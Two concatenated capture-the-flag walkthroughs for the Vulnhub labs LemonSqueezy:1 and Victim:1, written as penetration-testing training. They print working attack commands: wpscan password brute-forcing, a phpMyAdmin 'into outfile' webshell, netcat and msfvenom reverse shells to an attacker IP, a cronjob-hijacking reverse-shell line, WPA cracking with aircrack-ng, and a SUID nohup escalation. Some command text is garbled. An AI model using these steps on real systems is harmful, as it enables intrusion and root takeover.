LemonSqueezy:1 Vulnhub Walkthrough


Today we are going to solve another boot2root challenge called “LemonSqueezy:1”. It is available on Vulnhub for the purpose of Penetration Testing practices. This lab is not that difficult if we have the proper basic knowledge of cracking the labs. This credit of making this lab goes to James Hay. Let’s start and learn how to successfully breach it.
Level: Easy to Intermediate
Since these labs are available on the Vulnhub Website. We will be downloading the lab file from this here .

Penetration Testing Methodology

Reconnaissance
Nmap
Enumeration
·         Abusing HTTP Services
·         Web Directory Bruteforce (dirb)
·         Wpscan for Username and Password Enumeration
Exploitation
·         Logging to Wordpress
·         Shell Uploading through PhpMyAdmin
Post Enumeration
·         Using LinEnum.sh
·         Creating Netcat Shell using msfvenom
 Privilege Escalation
·         Abusing cronjob for Writable Script
·         Capture the flag

Walkthrough

Reconnaissance
As you know, this is the initial phase where we choose netdiscover for network scan for identifying host IP and this we have 192.168.1.105 as our host IP.
Then we used nmap for port enumeration. We found port 80 for http.
nmap -A 192.168.1.105

Enumeration

For more detail, we will be needing to start enumeration against the host machine. Since port 80 is open I look toward browser and explore target ip 192.168.1.105 . But it is not much of great help. Moving on.
http://192.168.1.105


Further, we use dirb for directory brute-forcing and found phpmyadmin & wordpress page with status code 200 OK on executing following command.


When we searched the above listed page, i.e. wordpress we found nothing useful.


So, the first idea that came to us was to run a wpscan on the webpage and see what the scan enumerates.
wpscan –url http://192.168.1.105/wordpress -e u


I found two user names: orange and lemon .


Now the next job is to hunt for password for user orange for which we will use rockyou.txt . Time to fire up wpscan with our username & password list to valid user login combination.


We have successfully found the password for orange. Let’s make good use of them.
Orange: ginger


 Now we mapped the domain name with the target machine’s IP address in the /etc/hosts file.


Further, we login to WordPress using orange credentials. It was holding another clue for us in edit post section we found a password i.e. nOt1n@wOrdl1st! .


Now our next job is  to try to login phpmyadmin page with this password using user orange.


Exploitation

After logging in let’s explore the page further to find some juicy information.
Here we found the database named wordpress.




So, we have login into phpmyadmin, now it was time to exploit phpMyAdmin to get reverse connection and we have already publish a post on “Shell Uploading in Web Server through PhpMyAdmin”. With help of this post I try to exploit phpMyAdmin and follow the given steps.
Within the database of Wordpress , we created a table as I have given raj and click on create.


Click on raj to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.
Now, the next part is interesting because here I am going to execute malicious code as SQL query which will create a Remote code Execution inside the web server. In the following screenshot, you can see I have given above malicious php code as SQL query and then click on GO tab to execute it.
SELECT "" into outfile "/var/www/html/wordpress/backdoor.php"


Now type the following URL to find whether we are successful or not in order to create RCE vulnerability.

When you execute the above URL in the browser you will get the information of victim ‘s PC .


Now it was time to get netcat reverse connection of the host machine by executing following URL.
 http://192.168.1.105/wordpress/backdoor.php?cmd=nc  -e /bin/bash 192.168.1.112 1234


Now before executing the backdoor let’s fire up netcat listener in other terminal.

nc -lvp 1234

Oh Yeah!! We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.

python -c ‘import pty;pty.spawn(“/bin/bash”)
ls
cd..
ls

here we found a text file name user.txt as 1st flag . Now let go for Privilege Escalation with the help of Linenum.sh which will help us in post enumeration.
cat user.txt

Post Enumeration
Next, we tried to download linenum.sh in /tmp but we were not able to do so because /tmp was not having the permission to do so. Since /var/www/html/wordpress is writable we will try to download there.
 LinEnum.sh, is bash script used for enumerating the Linux machine to checks which services are running on the machine, privileges access, version information, system information, user information etc.
  1. Download the script or get the location where this script is stored.
  2. Host the python server and copy the link of the LinEnum.sh file.
  3. Download the script in the remote host using “wget” command in the “/var/www/html/wordpress” directory.
  4. Change the permission of the LinEnum.sh shell script using “chmod” command.
  5. Now run the script in the remote machine.
cd /var/www/html/wordpress
chmod 777 LinEnum.sh
./LinEnum.sh


So here got some information after running the shell script LinEnum.sh
As a result, we found that /etc/logrotate.d/logrotate  is writable and also run as cronjob at every 2 minute after.
cat /etc/crontab
cd /etc/logrotate.d
ls -la

Privilege escalation

In order to compromise machine and get the root access we will use msfvenom for our further exploitation.
msfvenom -p /cmd/unix/reverse_netcat lhost=192.168.1.112 lport=4444 R


As we know logrotate is writable and run as cronjob therefore I will overwrite this file with the following command.
echo “mkfifo /tmp/vsbetic; nc 192.168.1.112 4444 0
/tmp/ vsbetic 2>&1; rm /tmp/ vsbetic” > logrotate


On other hand we will fire up netcat listener in other terminal to get reverse shell and wait for some 2 minutes as soon as the logrotate will execute as cronjob this will give us root privileges shell and finally capture the final flag.
nc -lvp 4444
id
cd /root
ls
cat root.txt


Author: Japneet Kaur Gandhi is a Technical Writer, Researcher and Penetration Tester. Contact here .

Victim:1 Vulnhub Walkthrough


Victim:1 Vulnhub Walkthrough

Today we are going to solve another boot2root challenge called “Victim:1”. It is available on Vulnhub for the purpose of Penetration Testing practices. This lab is not that difficult if we have the proper basic knowledge of cracking the labs. This credit of making this lab goes to iamv1nc3nt. Let’s start and learn how to successfully breach it.
Level: Easy to Intermediate
Since these labs are available on the Vulnhub Website. We will be downloading the lab file from this here .

Penetration Testing Methodology

Reconnaissance
·         Nmap
Enumeration
·         Wireshark
Exploiting
·         Aircrack-ng
·         SSH loginn
Privilege Escalation
·         Abusing writeable file
·         Capture the flag

 

Walkthrough

Reconnaissance
As we always identify host IP using netdiscover command and then continue with network scanning for port enumeration So, let’s start with nmap port enumeration and execute following command in our terminal.
nmap -p- -A 192.168.1.104
From its result, we found ports 22(SSH) , 80(http), 8080(http), 9000(http) were open.

Enumeration

For more detail, we will be needing to start enumeration against the host machine. Since port 80 is open I look toward browser and explore target ip 192.168.1.104 and found nothing useful.


Further on enumerating port 8999, the resultant page come up with the WordPress files and here WPA-01.cap file looks interesting; I download it to find out some clue.


 After downloading the cap file, we need to analyze it. So, when we open this file, it was a Wireshark cap file and by streaming the 1st packet we noticed SSID: dlink as shown in the image. This can be probably used as a Password.

Exploiting

Further we used aircrack-ng for cracking the file captured.cap using following command:
aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap
After a few minutes, we have found the key: p4ssword as shown in the image below.


Since We have username and a password, so we tried to access the SSH on the target system and were successfully able to log in.
After getting logged in let’s go for post exploitation and try to escalate root privileged. While doing post enumeration we found writable permission is assigned on /var/www/bolt/public/files.
find / -writable -type d 2>/dev/null
cd /var/www/bolt/public/files
ls -la
cd files/
ls -la


Since the file directory was owned by root and also allow write permission for everyone thus we download php-reverse-shell from our local machine into host machine using wget command to do so execute the following command:
ls


Further we will execute our php-reverse-shell in browser but before that fire up netcat in another terminal to get reverse shell with root privileges and capture the final flag.
nc -lvp 1234
id
cd /root
ls
cat flag.txt




2nd method for privilege escalation
As we know nohup is a command which executes another program specified as its argument and ignores all sighup (hangup) signals . It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.
find / -writable -type d 2>/dev/null
nohup /bin/sh -p -c “sh -p <$(tty) >$(tty) 2>$(tty)”
id
cd /root
ls
cat flag.txt